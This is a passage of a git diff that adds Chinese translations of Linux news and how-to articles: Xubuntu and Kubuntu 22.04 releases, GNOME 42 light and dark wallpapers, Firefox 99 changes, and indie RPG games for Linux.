月发布以来,没有发布任何重要的版本。 + +尽管如此,自 Xubuntu 21.10(最后一个版本)就在使用的 Xfce 桌面 4.16 版本,桌面组件和原生应用得到了一些改进和错误修复。 + +也许这个版本的重要工作是在 Greybird 主题中对 GTK4 和 libhandy 的初步支持(通过 3.23.1 版本)。这意味着来自 GNOME 生态系统的 GTK4 应用在 Xubuntu 的主题下看起来不错。 + +### 应用更新 + +默认的文件管理器 Thunar 4.16.10 增加了一些性能改进,包括回归修复、翻译更新和一些变化。虽然在翻阅更新日志的时候,我找不到任何对用户可见的实质性报告。但如果你有兴趣,你可以 [在这][2] 详细阅读新闻。 + +事实上,Thunar 现在正在和 Xfce 4.17 一起开发,包含了一些令人兴奋的变化。但不幸的是,我们都需要在短期支持版本中等待,因为要在长期支持版本中实现这些功能还为时过早。 + +除此之外,Xfce Terminal 在这个版本中仍然是 0.8.10。与 Thunar 类似,Xfce Terminal 1.0.0 重大更新也不会在这个长期支持版本中出现。 + +除了这两个,其他的桌面组件仍然是最后的稳定版本,包括 Xfce Panel 4.16.3、Xfce Window Manager 4.16.1 和 Xfce Desktop 4.16。值得一提的是,Xfce 仍在进行 GTK4 的过渡工作,目前还没有太明确的时间表。 + +此外,原生应用的版本被提升到最新的稳定迭代版本。但一个重大变化是,继 Ubuntu 之后, Xubuntu 22.04 中的 Firefox 可执行文件现在是 Snap 版本。因此,在理想情况下,用户不会感觉到任何差异,但由于其沙盒性质,可能会在扩展程序和其他工具方面面临一些问题。 + +除此之外,Xubuntu 22.04 还期望从社区竞赛中获得一些漂亮的壁纸,其中一个作为默认壁纸。竞赛结果还没有出来。不过,你可以在 [本页面][4] 上找到一些令人兴奋的投稿。 + +### 总结和下载 + +总结一下,主要的核心框架、应用和它们的版本都在下面。 + + * GNOME 42 + * GTK 3.24.32 + * MATE 1.26 + * Xfce 4.16 + * Firefox 99 + * Thunderbird 91.8 + * Atril Document Viewer 1.26 + * Engrampa Archive Manager 1.26 + * Ristretto Image Viewer 0.12.2 + * LibreOffice 7.3.x + * Catfish 4.16.3 + * Mousepad 0.5.8 + +最后,要下载 Xubuntu 22.04 的 BETA 版本,请参考下面的 ISO 文件的链接。你可以尝试在虚拟机上安装或在物理系统中尝试。 + + * [xubuntu-22.04-beta-desktop-amd64.iso][5] + * [其他下载选项包括torrent, checksum][6] + +_信息来自 [官方更新日志][7]_ + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/2022/04/xubuntu-22-04-lts/ + +作者:[Arindam][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lujun9972 +[1]: https://www.debugpoint.com/wp-content/uploads/2022/04/Xubuntu-22.04-Desktop-1024x575.jpg +[2]: https://archive.xfce.org/src/xfce/thunar/4.16/ +[4]: https://contest.xubuntu.org/wallpaper_contest/xubuntu-22-04-community-wallpaper-contest/?action=view +[5]: https://cdimage.ubuntu.com/xubuntu/releases/22.04/beta/xubuntu-22.04-beta-desktop-amd64.iso +[6]: https://cdimage.ubuntu.com/xubuntu/releases/22.04/beta/ +[7]: https://wiki.xubuntu.org/releases/22.04/release-notes +[8]: https://t.me/debugpoint +[9]: https://twitter.com/DebugPoint +[10]: https://www.youtube.com/c/debugpoint?sub_confirmation=1 +[11]: https://facebook.com/DebugPoint diff --git a/published/202204/20220408 Create Your Own Custom Light and Dark Wallpaper for GNOME.md b/published/202204/20220408 Create Your Own Custom Light and Dark Wallpaper for GNOME.md new file mode 100644 index 0000000000..98df548847 --- /dev/null +++ b/published/202204/20220408 Create Your Own Custom Light and Dark Wallpaper for GNOME.md @@ -0,0 +1,110 @@ +[#]: subject: "Create Your Own Custom Light and Dark Wallpaper for GNOME" +[#]: via: "https://www.debugpoint.com/2022/04/custom-light-dark-wallpaper-gnome/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lujun9972" +[#]: translator: "robsean" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14471-1.html" + +如何创建你的自定义 GNOME 深浅壁纸 +====== + +![](https://img.linux.net.cn/data/attachment/album/202204/13/233814h9wwzwaqtwu9qthg.jpg) + +> 一份简单的指南:如何针对 GNOME 桌面环境来创建你的自定义的深色和浅色壁纸。 + +[GNOME 42][1] 将备受期待的深浅主题带到 GNOME 桌面环境。它也带来壁纸的深色和浅色版本,当你切换深色或浅色主题时,它会自动地转换。 + +因此,默认情况下,GNOME 给予你一套预配置的深色和浅色壁纸。但是如果你想要在主题更改时自动地转换成另一种不同的壁纸要怎么做呢? + +下面是如何在 GNOME 中配置和创建你自己的深浅壁纸的方法。 + +### 如何针对 GNOME 桌面环境来创建自定义的深浅壁纸 + +第一,确保你手边有两个版本的壁纸。一般来说,它们应该是标准的 PNG 或 JPG 图像文件。例如,我们针对这个示例使用下面的两张壁纸。 + +![Sample light and dark wallpaper for demo][2] + +但是,如果你没有合适的深浅壁纸,或者正在查找更多的壁纸,在这篇指南的结尾,我将让你知道如何获取它们,或者如何自己准备它们。请跟着我阅读。 + +第二,我们需要为我们自己创建一个模式文件。壁纸的自动更换是由一个名为 `adwaita.xml` 的 XML 文件处理的,它定义了特定的深色和浅色的背景标记。因此,我们将为壁纸创建我们自己的 XML 文件。 + +为做到这一点,[从 GitLab 复制][3] `adwaita.xml` 的内容,并创建一个新的 XML 文件。你能够会在这个文件中看到两个标记 – `filename` 和 `filename-dark`。这两个 XML 标记包含这两个壁纸的完整的限定的路径。现在,在这两个标记下添加你的图像文件的路径,如我下图所示。。 + +![Change the XML file][4] + +第三,把这个文件保存到 `/home//.local/share/gnome-background-properties`,(请将 `` 替换为你的用户名)文件名任意。如果这里没有 `gnome-background-properties` 目录,就创建它。针对这个示例,我使用 `my_cool_backgrounds.xml` 文件名。 + +![Save the file][5] + +这样,你就准备好了所有的东西。最后,打开 “设置Settings” 并转到 “外观Appearance” 标签页,你应该会看到一个新的壁纸选项。 + +选择你自己的自定义的深浅壁纸,尽情享受。 + +![Appearance tab has now your own custom light and dark wallpaper][7] + +### 如何下载或制作你自己的动态壁纸 + +当然,你必然会想,谁有时间去查找和创建壁纸的日夜版本?这里有一些网站来向你提供预制好的动态壁纸,你可以轻松地下载和安装。 + +我推荐的一个网站是 [dynamicwallpaper.club][8] ,它有一些高达 6K 的极好的高质量的壁纸,可用于 macOS。你可以轻松地下载它们。 + +此外,如果你打算从上述网站下载,请记住该网站的图像文件是 [heic][9] 格式的,因为这个网站是针对 macOS 的。高效视频编码High-Efficiency Video Coding(HEIC)是苹果的专有的 HEIF(高效图像文件High-Efficiency Image File)专有版本。 + +那么,如何在 Linux 系统中转换它们? 好吧,在 Ubuntu 或 Fedora Linux 中,你需要一个驱动程序来查看和转换动态的 heic 图像文件。打开一个终端,运行下面的命令开安装驱动程序。 + +Ubuntu 用户 – + +``` +sudo apt install heif-gdk-pixbuf +``` + +Fedora 用户 – + +``` +sudo dnf install libheif +``` + +只针对使用 KDE Plasma 的 Fedora/Ubuntu 用户(没有这个插件的帮助,Plasma 应用程序就不能打开 heic 格式的图像文件): + +``` +sudo apt install qt-heif-image-plugin +sudo dnf install qt-heif-image-plugin +``` + +最后,使用你喜欢的图像查看器打开 heic 图像文件,并将其保存为 JPG/PNG 图像文件。 + +最好,不要忘记在下面的评论区告诉我,你是否能够针对 GNOME 桌面环境来创建你自己的自定义的深浅壁纸了。 + +![Custom Light and Dark wallpaper in GNOME – transition][10] + +感谢阅读。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/2022/04/custom-light-dark-wallpaper-gnome/ + +作者:[Arindam][a] +选题:[lujun9972][b] +译者:[robsean](https://github.com/robsean) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lujun9972 +[1]: https://www.debugpoint.com/2022/03/gnome-42-release/ +[2]: https://www.debugpoint.com/wp-content/uploads/2022/04/Sample-light-and-dark-wallpaper-for-demo.jpg +[3]: https://gitlab.gnome.org/GNOME/gnome-backgrounds/-/tree/main/backgrounds +[4]: https://www.debugpoint.com/wp-content/uploads/2022/04/Change-the-XML-file-1024x568.jpg +[5]: https://www.debugpoint.com/wp-content/uploads/2022/04/Save-the-file-1024x548.jpg +[6]: https://www.debugpoint.com/2021/12/gnome-text-editor/ +[7]: https://www.debugpoint.com/wp-content/uploads/2022/04/Apperance-tab-has-now-your-own-custom-light-and-dark-wallpaper-1024x657.jpg +[8]: https://dynamicwallpaper.club +[9]: https://en.wikipedia.org/wiki/High_Efficiency_Image_File_Format +[10]: https://www.debugpoint.com/wp-content/uploads/2022/04/Custom-Light-and-Dark-wallpaper-in-GNOME-transition-1024x556.gif +[11]: https://t.me/debugpoint +[12]: https://twitter.com/DebugPoint +[13]: https://www.youtube.com/c/debugpoint?sub_confirmation=1 +[14]: https://facebook.com/DebugPoint diff --git a/published/202204/20220409 Firefox 99 Brings These Two Changes for Linux Users.md b/published/202204/20220409 Firefox 99 Brings These Two Changes for Linux Users.md new file mode 100644 index 0000000000..3540ac1777 --- /dev/null +++ b/published/202204/20220409 Firefox 99 Brings These Two Changes for Linux Users.md @@ -0,0 +1,73 @@ +[#]: subject: "Firefox 99 Brings These Two Changes for Linux Users" +[#]: via: "https://news.itsfoss.com/firefox-99-release/" +[#]: author: "Shobhit Singh https://news.itsfoss.com/author/shobhit/" +[#]: collector: "lujun9972" +[#]: translator: "zd200572" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14455-1.html" + +Firefox 99 为 Linux 用户带来了两点改变 +====== + +> 最新发布的 Firefox 浏览器为桌面 Linux 用户带来了两点改变。 + +![](https://news.itsfoss.com/wp-content/uploads/2022/04/firefox.png) + +Mozilla 的 Firefox 是最受欢迎的开源浏览器之一,这也是它在许多 Linux 发行版(如 Mint 和 Ubuntu)中用作默认浏览器的原因。 + +最近,Mozilla 发布了 Firefox 99.0 版本,为 Linux 版本带来了新的安全性和 UI 特性。 + +### 更新了什么呢? + + * 现在,你可以使用键盘快捷键 `n` 在阅读器模式ReaderMode中切换“讲述Narrate”模式。 + * 你可以在 PDF 查看器中找到对搜索音调符号的附加支持。 + * 添加了 GTK 叠加滚动条。 + * Linux 沙箱已得到加强:暴露于 Web 内容的进程不再有权访问 X Window 系统(X11)。 + * Firefox 现在在德国和法国支持信用卡自动填充和捕获。 + +在本文中,我们将深入研究这些内容,并进一步扩展Linux版本特定的变化。 + +### GTK 叠加滚动条 + +这个版本的 Firefox 为滚动条做了一个新的、时尚的、更窄的设计。如果不在使用中,滚动条也会隐藏,这让浏览器给人以更现代和优雅的感觉。 + +![][1] + +但在稳定版中这个特性默认没有启用。开启这个特性,转到 `about:config`,搜索 `widget.gtk.overlay-scrollbars.enabled`。这个值默认是 `false`,双击它将设置为 `true`,这将启用新的滚动条。 + +![][2] + +### Linux 沙箱得到加强 + +这是一个安全更新,目的是将 Firefox 进程与系统的其余部分隔离开来。沙箱环境是一个应用可以在不影响任何外部应用,或与任何外部应用程序交互的情况下运行的环境。这个特别的更新禁止了 Web 进程和 X 服务器的任何互动。X 服务器(X11)是大多数 Linux 发行版中使用的默认 GUI 服务器。 + +Snap、Flatpak 和 Appimage 已经提供了其应用程序的沙盒版本。如果你是一个 Snap 或者 Appimage 用户,这是个好消息。然而,有 [报道称][3] 这会破坏硬件加速功能。 + +_硬件加速是应用程序将某些任务加载到硬件的过程,从而提高性能和提高硬件使用效率。糟糕的硬件加速是 Linux 上电池性能不佳的原因之一。_ + +### 结束语 + +总之,这是 Firefox 最后一次大的两位数版本号更新,很高兴看到 Firefox 对隐私和安全的一贯决心。此版本中未解决的一些问题,例如与硬件加速相关的错误,希望在下次更新中得到解决。 + +这就把我们带到了 Firefox 100。每日构建版本的 Firefox 100 已经发布。完整的稳定版本将在 2022.5.3 发布。它承诺提供诸如画中画格式的字幕和改进的硬件加速等功能。你可以通过在每日构建中的 `about:preferences#experimental` 启用 `Firefox 100 User-Agent String` 来尝试 Firefox 的这些实验性版本。 + +想要了解更多?查看一些不为人知的 [Firefox 功能,以获得更好的浏览体验][4]。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/firefox-99-release/ + +作者:[Shobhit Singh][a] +选题:[lujun9972][b] +译者:[译者ID](https://github.com/zd200572) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/shobhit/ +[b]: https://github.com/lujun9972 +[1]: https://news.itsfoss.com/wp-content/uploads/2022/04/Before-After_gtk_overlay-scrollbars-edited.png +[2]: https://news.itsfoss.com/wp-content/uploads/2022/04/Overlay-scrollbar-config-option.png +[3]: https://bbs.archlinux.org/viewtopic.php?id=275415 +[4]: https://itsfoss.com/firefox-useful-features/ diff --git a/published/202204/20220409 How to Activate the Dark and Light Wallpaper Variants in GNOME 42.md b/published/202204/20220409 How to Activate the Dark and Light Wallpaper Variants in GNOME 42.md new file mode 100644 index 0000000000..947071526f --- /dev/null +++ b/published/202204/20220409 How to Activate the Dark and Light Wallpaper Variants in GNOME 42.md @@ -0,0 +1,102 @@ +[#]: subject: "How to Activate the Dark and Light Wallpaper Variants in GNOME 42" +[#]: via: "https://itsfoss.com/dark-light-wallpaper-gnome/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: collector: "lujun9972" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14472-1.html" + +如何启用 GNOME 42 中的深色和浅色双主题壁纸 +====== + +GNOME 42 的主要 [功能][1] 之一就是提供了深色和浅色模式的双主题壁纸。 + +![GNOME 42 中的深色和浅色壁纸][2] + +基本上,有了这个功能,当你切换到浅色模式时,系统就会使用浅色版本的壁纸。而当你 [在 GNOME 中切换到深色模式][3]时,壁纸就会切换成深色的版本。 + +下面是一个双主题壁纸的例子,你可以比较一下: + +![GNOME 中的深色和浅色双主题壁纸:浅色][4] + +![GNOME 中的深色和浅色双主题壁纸:深色][4a] + +这种双主题壁纸可在“设置Settings > 外观Appearance”的“背景Background”部分中启用。 + +然而,在某些情况下,设置中可能没有双主题壁纸,你可能会看到一个空的“背景”部分,像下面这样: + +![没有双主题壁纸][5] + +这是我的同事 Sreenath 在更新他的 Endeavour OS 系统、得到新的 GNOME 42 桌面时注意到的情况。 + +### 在 GNOME 42 中启用深色和浅色双主题壁纸 + +如果你也在 GNOME 42 中面临同样的情况,我这里有一个快速而简单的解决方案。你只需要使用软件包管理器,安装 `gnome-backgrounds` 软件包,问题就会得到解决。 + +首先,请 [检查桌面环境细节][6],确保你正在运行 GNOME 42。你可以在系统设置的“关于About”部分查看你的桌面版本。 + +当你确定你的系统安装了 GNOME 42,请继续执行剩下的步骤。 + +对于 [基于 Arch 的发行版][7],请使用 [pacman 命令][8],如下: + +``` +sudo pacman -S gnome-backgrounds +``` + +等待命令执行完毕。 + +![][9] + +你不需要重新启动,甚至不需要注销。改动将立即生效。 + +你只需进入“设置Settings > 外观Appearance”,然后选择“背景Background”部分,应该就会看到各种具有双重模式的壁纸。 + +选择其中的一对,它就会根据你的系统主题来设置图像。 + +![GNOME 中的深色和浅色壁纸][10] + +太好了。但你只能得到 GNOME 团队或者发行版的开发者提供的少数双主题壁纸。如果你想拥有一套自己的深色和浅色模式的壁纸呢?那么,你可以自己制作壁纸,只是需要一点调整和耐心。 + +### 制作你自己的双主题壁纸(针对高级用户) + +我假设你知道自己在干什么,你可以搜索下面的步骤,以在深色和浅色双主题壁纸中添加额外的壁纸时: + + * 下载两张图片 + * 把浅色壁纸重命名为 `image-l.jpg`,把深色壁纸重命名为 `image-d.jpg` + * 如果你想让新壁纸对所有用户可用,请在 `/usr/share` 目录下新建一个 `gnome-background-properties` 目录。否则,如果你只想自己使用,请在 `.local/share` 中新建这个目录 + * 将这段 [GNOME 官方 GitLab 仓库中的代码][11] 拷贝到文本编辑器中,并在 `` 标签中分别修改相应的浅色或深色图片的位置 + * 将其保存在你之前创建的 `gnome-background-properties` 目录下 + * 现在可以在系统设置里修改背景壁纸了 + +需要更多帮助吗?WOGUE 有一个很好的视频,里面展示了这些步骤的操作。 + +![video](https://youtu.be/y1vSt1_ZKps) + +我希望你喜欢这个快速小技巧。祝你体验愉快! + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/dark-light-wallpaper-gnome/ + +作者:[Abhishek Prakash][a] +选题:[lujun9972][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lujun9972 +[1]: https://news.itsfoss.com/gnome-42-features/ +[2]: https://itsfoss.com/wp-content/uploads/2022/04/fedora-36-gnome-42-dark-800x450.jpg +[3]: https://itsfoss.com/fedora-dark-mode/ +[4]: https://itsfoss.com/wp-content/uploads/2022/04/GNOME_Light_Desktop.jpg +[4a]: https://itsfoss.com/wp-content/uploads/2022/04/GNOME_Dark_Desktop.jpg +[5]: https://itsfoss.com/wp-content/uploads/2022/04/no-dark-light-wallpaper-in-gnome-800x326.png +[6]: https://itsfoss.com/find-desktop-environment/ +[7]: https://itsfoss.com/arch-based-linux-distros/ +[8]: https://itsfoss.com/pacman-command/ +[9]: https://itsfoss.com/wp-content/uploads/2022/04/add-dark-light-wallpapers-gnome-800x366.png +[10]: https://itsfoss.com/wp-content/uploads/2022/04/dark-light-wallpapers-gnome-800x370.jpg +[11]: https://gitlab.gnome.org/GNOME/gnome-backgrounds/-/blob/main/backgrounds/adwaita.xml.in diff --git a/published/202204/20220410 10 Best Indie RPG Games for Linux in 2022.md b/published/202204/20220410 10 Best Indie RPG Games for Linux in 2022.md new file mode 100644 index 0000000000..8391482514 --- /dev/null +++ b/published/202204/20220410 10 Best Indie RPG Games for Linux in 2022.md @@ -0,0 +1,195 @@ +[#]: subject: "10 Best Indie RPG Games for Linux in 2022" +[#]: via: "https://itsfoss.com/best-indie-rpg-games-linux/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14479-1.html" + +2022 年 10 款最佳的 Linux 独立 RPG 游戏 +====== + +![](https://img.linux.net.cn/data/attachment/album/202204/16/095605drtattoin3r3rtmv.jpg) +无论是在 Windows、Linux 还是 macOS 上,你都能找到很多独立游戏玩。 + +你有可能会找到十分激动人心的游戏,这些游戏往往是被低估的,这使得探索独立游戏成为了一件令人兴奋的事。 + +但是,在本文中,我只关注 Linux 平台上最佳的独立(即由小团队开发的)RPG 游戏。 + +即使你只有一套入门级的游戏硬件也没有关系,大多数独立游戏在许多计算机(甚至只有集成显卡)上都能正常工作。 + +请注意,本列表包括来自 Steam 的游戏(没有特定的排名顺序),它们有些是免费的,有些则是付费的。 + +> 如果你是一个狂热的游戏玩家,在游戏上花费了大量的时间和金钱,你应该订阅 Humble Monthly。这个来自 [Humble Bundle][1](这是一个推广链接,请阅读原文站点的 [推广政策][2])的月度订阅计划让你每个月只需花 12 美元就能获得 100 美元的游戏。 +> +> 并不是所有游戏都能在 Linux 上玩,但这仍然是笔划算的交易,因为你从 Humble Bundle 网站购买任何游戏或书籍都能获得额外的 10% 折扣。 +> +> 最棒的是,你的每一次购买都是对一个慈善组织的支持。因此,你不仅仅是在玩游戏,你也在为世界带来改变。 +> +> - [订阅 Humble Monthly][1] + +### 1. Valheim + +![][3] + +Valheim 是一个令人印象深刻的独立游戏,它目前仍处于内测阶段。 + +这是一个关于探险和生存的游戏,你可以同时与最多 10 名玩家一起玩。当然,你也可以选择自己一个人玩。 + +对于一个独立开发的游戏来说,它里面的世界看起来美极了,而且随着时间的推移,这个游戏也在不断改进。它是一款付费游戏,在 Steam 上的售价为 19.99 美元,它原生支持 Linux 平台。 + +> - [Valheim][4] + +### 2. Undertale + +![video](https://youtu.be/1Hojv0m3TqA) + +Undertale 是一款有趣的 RPG 游戏,你不需要在游戏中杀任何人。你可以利用其战斗系统,通过谈判来摆脱危险。 + +游戏围绕着一个掉入地下怪物世界的人类而展开。令人惊讶的是,你可以和一个骷髅约会,甚至可以和所有的 boss 成为朋友。 + +因此,当你开始玩这个游戏时,你会有一个快乐的体验。 + +> - [Undertal(Steam)][5] +> - [Humble Bundle 商店][6] + +### 3. ARK:Survival Evolved + +![][7] + +ARK Survival Evolved 是一款生存和探索游戏,它发生在一个美丽环境下,里面有恐龙和其他生物。 + +为了生存和逃跑,你需要制作、采集资源、狩猎、驯服生物、繁殖它们,以及做更多的事情。 + +它可能不完全像是一个独立游戏,但它尽力给你一个接近 3A 大作的游戏体验。 + +> - [ARK: Survival Evolved][8] + +### 4. Wildermyth + +![][9] + +它是一个剧情决策 RPG 游戏,你的战术、战斗以及所做的决定将影响游戏中的世界和人物。 + +你可以和你的角色们一起对抗邪恶,并跟随他们完成整个职业生涯。它不是一个普通的独立 RPG 游戏,而是一个提供角色深度的游戏,让你沉浸其中。 + +这个游戏售价为 24.99 美元,可在 Linux 上运行。 + +> - [Wildermyth][10] + +### 5. Mount & Blade:Warband + +![][11] + +经典的战争动作 RPG 游戏之一,它让你有机会建立一支军队,扩大你的王国,并为王位而战! + +虽然它最初是在 2010 年推出的,但是它有几个 DLC 可以供你扩大和探索更多的可玩性。 + +游戏的基本费用为 9.99 美元。你可以根据需要购买额外的 DLC。 + +> - [Mount & Blade][12] + +### 6. Rakuen + +![][13] + +Rakuen 是一款有趣的冒险 RPG 游戏,它的主角是一个住在医院里的小男孩。 + +故事围绕着小男孩通过帮助医院里的邻居来完成挑战,同时还要对付他们在幻想世界里的另一个自己。 + +男孩的妈妈承诺,只要他完成了所有这些挑战,就会护送他到他最喜欢的故事书中的幻想世界。互动过程中,你的情绪会像过山车一样,经历快乐、悲伤、思考和难忘的回忆。 + +该游戏在 Steam 上的价格为 9.9 美元。 + +> - [Rakuen][14] + +### 7. Darkwood + +![][15] + +Darkwood 是一款独一无二的生存恐怖 RPG 游戏,它采用上帝视角。 + +你可能认为它会是一个上帝视角的基本体验,但令人印象深刻的是,它设法提供了一个沉浸式的体验,在这个游戏中,你的决定至关重要。这个自由漫游的世界中没有任何任务标记,所以它会是一个具有挑战性的体验。 + +> - [Darkwood][16] + +### 8. WAFKU + +![][17] + +WAFKU 是一个充满动作元素的大型多人在线 RPG 宇宙。 + +它以一组有趣的人物为特色,并给人以回合制战术战斗的奇妙体验。每个等级都有一套独特的技能。而且,你会在游戏中发现所有的 18 种技能。 + +因此,你可以探索/选择适合你的游戏风格。 + +你可以建造自己的世界,控制生态系统,还可以参与政治生活。听起来很有意思,不是吗? + +> - [WAFKU][18] + +### 9. Mechajammer + +![][19] + +Mechajammer 是一款有趣的 RPG 游戏,它具有令人兴奋的视觉效果。 + +它采用了回合制赛博朋克的设定,因此你会有一种新鲜的体验。你可以选择一辆车或武器,挑选一个帮派的支线任务,以及做其他一些事情。 + +它很好的融合了开放世界探索和回合制战斗,这对你来说会是个挑战。你可以做很多方面的定制,包括调整角色的能力。 + +它或许不是一个受欢迎的选择,但它是一个硬核的经典风格的 RPG 游戏,因此口碑还是不错的。 + +> - [Mechajammer][20] + +### 10. Finding Paradise + +![][21] + +玩够了战斗/动作游戏?来点故事驱动的 RPG 体验如何? + +Finding Paradise 是一款很棒的故事驱动型 RPG 游戏,它围绕着实现一个垂死者的遗愿而展开。 + +> - [Finding Paradise][22] + +### 总结 + +以上是在 Steam 上为 Linux 用户提供的一些评价最好的 RPG 游戏。 + +事实上,Linux 上还有非常多的独立 RPG 游戏,本文只列举了其中几个我们最喜欢的。你有喜欢的游戏吗?请在下面的评论区中告诉我们吧! + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/best-indie-rpg-games-linux/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://www.humblebundle.com/?partner=itsfoss +[2]: https://itsfoss.com/affiliate-policy/ +[3]: https://itsfoss.com/wp-content/uploads/2022/03/valheim-linux.jpg +[4]: https://store.steampowered.com/app/892970/Valheim/ +[5]: https://store.steampowered.com/app/391540/Undertale/ +[6]: https://www.humblebundle.com/store/undertale?partner=itsfoss +[7]: https://itsfoss.com/wp-content/uploads/2022/03/ark-survival-linux.jpg +[8]: https://store.steampowered.com/app/346110/ARK_Survival_Evolved/ +[9]: https://itsfoss.com/wp-content/uploads/2022/03/wildermyth.jpg +[10]: https://store.steampowered.com/app/763890/Wildermyth/ +[11]: https://itsfoss.com/wp-content/uploads/2022/03/mount-blade-linux.jpg +[12]: https://store.steampowered.com/app/48700/Mount__Blade_Warband/ +[13]: https://itsfoss.com/wp-content/uploads/2022/03/rakeun-linux.jpg +[14]: https://store.steampowered.com/app/559210/Rakuen/ +[15]: https://itsfoss.com/wp-content/uploads/2022/03/darkwood-linux.jpg +[16]: https://store.steampowered.com/app/274520/Darkwood/ +[17]: https://itsfoss.com/wp-content/uploads/2022/03/wafku-linux.jpg +[18]: https://store.steampowered.com/app/215080/WAKFU/ +[19]: https://itsfoss.com/wp-content/uploads/2022/03/mechajammer-linux.jpg +[20]: https://store.steampowered.com/app/485400/Mechajammer/ +[21]: https://itsfoss.com/wp-content/uploads/2022/03/finding-paradise.jpg +[22]: https://store.steampowered.com/app/337340/Finding_Paradise/ diff --git a/published/202204/20220410 Kubuntu 22.04 LTS - New Features and Release Details.md b/published/202204/20220410 Kubuntu 22.04 LTS - New Features and Release Details.md new file mode 100644 index 0000000000..47a2ec9f18 --- /dev/null +++ b/published/202204/20220410 Kubuntu 22.04 LTS - New Features and Release Details.md @@ -0,0 +1,69 @@ +[#]: subject: "Kubuntu 22.04 LTS – New Features and Release Details" +[#]: via: "https://www.debugpoint.com/2022/04/kubuntu-22-04-lts/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14483-1.html" + +Kubuntu 22.04 LTS - 新功能和发布细节 +====== + +> Kubuntu 22.04 LTS(Jammy Jellyfish)的新功能列表以及关于该版本的其他信息。 + +![Kubuntu 22.04 LTS Desktop][1] + +### Kubuntu 22.04 LTS 新功能 + +也许在可用性、外观和稳定性方面,最受欢迎的基于 Ubuntu 的 Linux 发行版是 Kubuntu。Kubuntu 22.04 LTS 采用的是 Linux 内核 5.15 LTS,采用同 Ubuntu 22.04 LTS 一样的基础软件包。此外,它还带有 [KDE Plasma 5.24.x 系列][2],这是 Plasma 桌面当前的 LTS 版本。 + +此外,KDE Plasma 5.24.x 系列是 KDE Plasma 桌面的第 26 个版本,带来了一些令人惊叹的功能,如概览效果、新通知等。尽管到今天为止它还不是最新的 Plasma,但它是最新的稳定版本。 + +另一方面,如果你将上一个 Kubuntu 20.04 LTS 与这个版本相比较,你可以期待看到一大堆变化。首先,Kubuntu 20.04 Focal Fossa 带有 KDE Plasma 5.18,而如今是 5.24 系列。你可以看到大量的新功能和一个完全不同的桌面,做了更好的无障碍和性能的改进。其次,KDE Plasma 5.24 由 Qt 5.15.2 和 KDE Frameworks 5.90 支持,这也是自上一个 Kbuntu Focal Fossa 以来的一个跳跃。 + +毋庸置疑,你能体验到的重要功能是 Plasma 桌面新设计的概览屏幕。你可以使用 `Meta+W` 组合键启动它,而且支持多个虚拟屏幕。新的概览屏幕会让你想起 GNOME 的应用视图。该视图在顶部给你提供了虚拟桌面的缩略图,在中间,你可以看到虚拟桌面打开的窗口列表。它还为你提供了一个搜索选项,可以使你更快地找到你的应用。 + +![Kubuntu 22.04 Overview screen][3] + +这个版本的 Plasma 还带来了一个自定义的强调色选项,会触发你对美丽桌面的灵感。除此之外,更新的 Breeze Classic 主题和重新设计的字体大小使这个版本成为 LTS 发布中的一个完美版本。 + +### 其他变化 + +由于 Kubuntu 22.04 LTS 基于 [Ubuntu 22.04][5],其核心应用和软件包给你提供了他们稳定版本中最好的东西,总结如下: + + * KDE Plasma 5.24.x + * KDE Frameworks 5.92 + * Qt 5.15.x + * Firefox 99 + * Thunderbird 91.8 + * LibreOffice 7.3.x + +最后,要下载这个版本的 BETA 版本,请参考下面的 ISO 文件链接。你可以尝试在虚拟机上安装或在物理系统中尝试。 + + * [kubuntu-22.04-beta-desktop-amd64.iso][6] + * + + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/2022/04/kubuntu-22-04-lts/ + +作者:[Arindam][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lujun9972 +[1]: https://www.debugpoint.com/wp-content/uploads/2022/04/Kubuntu-22.04-LTS-Desktop-1024x580.jpg +[2]: https://www.debugpoint.com/2022/03/kde-plasma-5-24-review/ 